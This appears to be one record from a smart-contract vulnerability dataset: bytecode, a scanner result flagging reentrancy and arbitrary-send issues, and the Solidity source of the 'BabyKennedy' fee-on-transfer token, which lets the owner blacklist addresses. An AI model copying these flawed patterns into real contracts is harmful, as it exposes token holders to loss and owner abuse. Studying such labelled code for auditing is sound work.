f1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b600f42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220845760726efd8cf9300e017067aa080d01ee6aa3cdefc29709f8527438c7b87064736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
569
0xf167d64b20e09cdd1d7d467a808803ab4104d50c
/* FAIR LAUNCH, NO PRESALE DEVELOPER OWNS NO TOKENS 100% COMMUNITY DRIVEN https://t.me/babykennedyofficial */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract BabyKennedy is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "BabyKennedy | t.me/babykennedyofficial"; string private constant _symbol = "BabyKennedy"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function startTrading() external onlyOwner() { require(!tradingOpen, "trading is already started"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 150000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a20565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612ec1565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e91906129e4565b610590565b6040516101a09190612ea6565b60405180910390f35b3480156101b557600080fd5b506101be6105ae565b6040516101cb9190613063565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f69190612995565b6105bf565b6040516102089190612ea6565b60405180910390f35b34801561021d57600080fd5b50610226610698565b005b34801561023457600080fd5b5061023d610bf5565b60405161024a91906130d8565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a61565b610bfe565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612907565b610cb0565b005b3480156102b157600080fd5b506102ba610da0565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612907565b610e12565b6040516102f09190613063565b60405180910390f35b34801561030557600080fd5b5061030e610e63565b005b34801561031c57600080fd5b50610325610fb6565b6040516103329190612dd8565b60405180910390f35b34801561034757600080fd5b50610350610fdf565b60405161035d9190612ec1565b60405180910390f35b34801561037257600080fd5b5061038d600480360381019061038891906129e4565b61101c565b60405161039a9190612ea6565b60405180910390f35b3480156103af57600080fd5b506103b861103a565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612ab3565b6110b4565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612959565b6111fd565b6040516104179190613063565b60405180910390f35b610428611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fc3565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613379565b9150506104b8565b5050565b60606040518060600160405280602681526020016137c460269139905090565b60006105a461059d611284565b848461128c565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105cc848484611457565b61068d846105d8611284565b6106888560405180606001604052806028815260200161379c60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffff